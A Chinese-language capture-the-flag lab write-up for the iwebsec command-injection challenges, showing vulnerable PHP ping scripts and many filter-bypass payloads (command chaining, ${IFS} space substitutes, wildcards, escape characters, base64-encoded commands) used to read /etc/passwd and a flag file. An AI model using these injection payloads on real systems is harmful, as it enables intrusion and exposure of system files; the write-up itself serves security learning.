iwebsec靶场通关笔记-命令执行篇
1.命令执行漏洞

参数127.0.0.1,ping通了地址,这里明显执行了代码,看一看代码
?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
system()一个标准的代码执行函数
直接用管道符 | 可以拼接需要执行的系统代码同样也有
; | & || && 等等
执行成功
2.空格符绕过
空格符绕过有很多种方式绕过以下都可以尝试
< 代替空格
{cat,/etc/passwd}用,加{}代替空格
${IFS}代替空格、
等等

执行成功
3.命令执行漏洞关键命令绕过
对于有关键命令的绕过可以有通配符,拼接,空变量干扰,转义符绕绕过等方法
通配符绕过 cat /etc/passw*
转移符绕过 ca/t etc/passwd ca''t /etc/passwd
空变量绕过 $* $@ $x ${x} ca${1}t /etc/passwd x可以是任意数字
变量拼接的方法 a=fl;b=ag;cat$IFS$a$b 读取flag文件
反引号绕过 cat `ls` 过滤单引号可用
编码绕过 cat `echo ZmxhZw==` | base64 -d 用base64编码绕过关键词flag读取文件
异或无符号绕过:通过某两个字符异或(或)得到一个新的字符
组合绕过
通过拼接创建的文件名来组合成一个命令,在写入文件当中,从而执行命令
touch "ag" 创建ag后缀文件名
touch "fl\\" 创建fl\后缀文件名
touch "t \\" 创建t \后缀文件名转移后的
touch "cat \\" 创建cat \后缀的文件名
ls -t > shell 按时间列出文件并将组合的文件命令写入shell文件中,此时t \的\会被忽略
sh -shell 执行shell文件
过滤关键字绕过(如过滤system)
echo `ls`
echo ${ls}
?><?=`ls`;
?><?=${ls};

这里就是用了空编变量干扰的方法,看一下源码,这里就是过滤了cat
<?php
if(isset($_GET['ip'])){
if (preg_match('/cat/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
4.命令执行漏洞通配符绕过
题目当中比较明显,通配符绕过,通配符* ?等,直接看看源码,过滤了那些,也能直接在网站中一个个试
<?php
if(isset($_GET['ip'])){
if (preg_match('/etc|passwd/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
用正则匹配了'/etc/passwd',直接用统配符绕过即可,星号问号都行

5.命令执行漏洞base64编码绕过
直接用上述代码读取文件也能读取到文件,也就是没有过滤上述的代码中的东西,我们看看过滤了什么在用base64绕过读取
<?php
if(isset($_GET['ip'])){
if (preg_match('/id/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
过滤了id命令我们用base64绕过试试
http://192.168.22.136:8002/exec/05.php?ip=127.0.0.1|`echo aWQ=|base64 -d`
也是成功绕过id检测,同样的读取/etc/passwd文件也直接替换base64的地方就行了

读取成功
更多推荐


所有评论(0)